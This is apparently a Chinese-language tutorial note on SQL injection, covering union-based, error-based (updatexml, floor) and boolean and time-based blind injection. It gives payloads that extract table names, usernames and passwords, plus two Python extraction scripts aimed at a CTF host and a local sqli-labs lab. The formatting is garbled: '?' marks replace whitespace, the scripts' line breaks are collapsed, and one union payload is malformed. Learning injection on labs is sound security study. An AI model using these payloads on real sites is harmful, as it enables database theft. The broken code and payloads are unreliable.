一、聯表查詢:
? ? ? ? 1.1原理:
? ? ? ? ? ? ? ? 當payload參數被后端查詢語句接收到時,其中的非法語句通過union關聯顯示出其他的數據
? ? ? ? 1.2示例:
#payload:
-1' and union select 1,2,database()--#query:
$sql=select * from users where id='-1' and union select 1,2,database()--
'
? ? ? ? 1.3注意:
????????????????因為union查詢要與前面關聯的表有相同的列數,所以在查信息時應先用order by查詢當前表的列數
二、報錯注入:
? ? ? ? 2.1原理:
? ? ? ? ? ? ? ??通過在一些函數(如updatexml(x,y,z))的參數中寫注入語句,當數據庫識別不了參數中的語句時會將其當做錯誤輸入進行處理,同時這些語句也將被執行并將結果和報錯信息一同顯示出來
? ? ? ? 2.2示例:
? ? ? ? ? ? ? ??updatexml():
?id=-1' and updatexml(1,(select concat(0x7e,database(),0x7e)),1)--+?id=-1' and updatexml(1,concat(0x7e,(select substring(group_concat(table_name),1,32) from information_schema.tables where table_schema='security'),0x7e),1)--+?id=-1' and updatexml(1,concat(0x7e,(select substring(group_concat(column_name),1,32) from information_schema.columns where table_schema='security' and table_name='users'),0x7e),1)--+?id=-1' or updatexml(1,concat(0x7c,(select substring(group_concat(id,0x7e,username,0x7e,password,0x7e),1,32) from users)),1)--+
? ? ? ? ? ? ? ? ? ?floor():
?id=-1' or (select 1 from (select count(*),concat(database(),floor(rand(0)*2))x from information_schema.tables group by x)y)--+?id=-1' or (select 1 from (select count(*),concat((select group_concat(table_name) from information_schema.tables where table_schema='security'),floor(rand(0)*2))x from information_schema.tables group by x)y)--+?id=-1' or (select 1 from (select count(*),concat((select group_concat(column_name) from information_schema.columns where table_schema='security' and table_name='users'),floor(rand(0)*2))x from information_schema.tables group by x)y)--+?id=-1' or (select 1 from (select count(*),concat((select concat(0x7e,id,username,password,0x7e) from users limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)y)--+
? ? ? ? 2.3注意:
? ? ? ? ? ? ? ? 上面只是其中的兩個,還有gtid_subset()、extructvalue()等函數也能互相代替,不過各有各的優缺點,比如:
? ? ? ? ? ? ? ? updatexml():優點簡單。缺點mysql高版本不兼容,返回的字符串最大長度為32字節,要用substring或者limit截取輸出
? ? ? ? ? ? ? ? floor():優點兼容高版本。缺點難寫,需要組合(count()、rand()、group by())使用
三、盲注:
? ? ? ? 3.1布爾盲注:
? ? ? ? ? ? ? ? 3.1.1原理:
? ? ? ? ? ? ? ? ? ? ? ? 注入payload后頁面只有兩種顯示,通過頁面顯示的區別來判斷結果的信息
? ? ? ? ? ? ? ? 3.1.2示例(ctf-hackme腳本):
import string
import requestscharacters = string.ascii_letters + string.digits # [A-Za-z0-9]
password = ""
payload = """{"username":{"$\\u0065\\u0071": "admin"}, "password": {"$\\u0072\\u0065\\u0067\\u0065\\u0078": "^%s"}}"""
url = "http://node4.buuoj.cn:25171/login.php"
for i in range(50):for character in characters:response = requests.post(url=url, data=(payload % (password + character)),headers={"Content-Type": "application/json; charset=UTF-8"})responseContent = response.content.decode()print(f"[+] Trying {character} with response {responseContent}")response.close()if "登錄了" in responseContent:password += characterprint(f"[*] Found new character {character} with password now which is {password}")break
? ? ? ? 3.2時間盲注:
? ? ? ? ? ? ? ? 3.2.1原理:
? ? ? ? ? ? ? ? ? ? ? ? 注入payload后頁面沒有任何顯示,利用sleep等函數來判斷結果的信息
? ? ? ? ? ? ? ? 3.2.2示例(sqlilabs/less-9腳本):?
import requests
import timeurl = "http://127.0.0.1/sqli-labs-master/Less-9/"
result = ""for i in range(1, 1000):low = 32high = 128while low < high:mid = (low + high) // 2#par = f"?id=1' and if((ascii(substr((select database()),{i},1))>{mid}),sleep(3),0)-- "#par = f"?id=1' and if((ascii(substr((select group_concat(table_name) from information_schema.tables where table_schema='security'),{i},1))>{mid}),sleep(3),0)-- "#par = f"?id=1' and if((ascii(substr((select group_concat(column_name) from information_schema.columns where table_schema='users'),{i},1))>{mid}),sleep(3),0)-- "par = f"?id=1' and if((ascii(substr((select group_concat(username,password) from users),{i},1))>{mid}),sleep(3),0)-- "full_url = url + pars_time = time.time()r = requests.get(full_url)e_time = time.time()if e_time - s_time > 3:low = mid + 1else:high = midif low != 32:result += chr(low)print(f"當前數據: {result}")print("最終數據:",result)
? ? ? ? 3.3注意:
????????????????盲注針對的是網頁接收到用戶傳參后沒有回顯也沒有報錯的情形,因為沒有回顯,所以聯合注入和報錯注入無法使用
????????????????如果頁面有一些信息有跡可循的話(例如輸入正確的數據和輸入錯誤的數據頁面的回顯不同)可以使用布爾盲注
????????????????如果頁面沒有任何數據或圖片的回顯,那就不能使用布爾盲注只能使用時間盲注
?? ? ? ? ? ? ? ? 且盲注這種方式相對上面的方式是要慢得多的,因為需要一個字符一個字符地進行判斷,所以通常結合腳本使用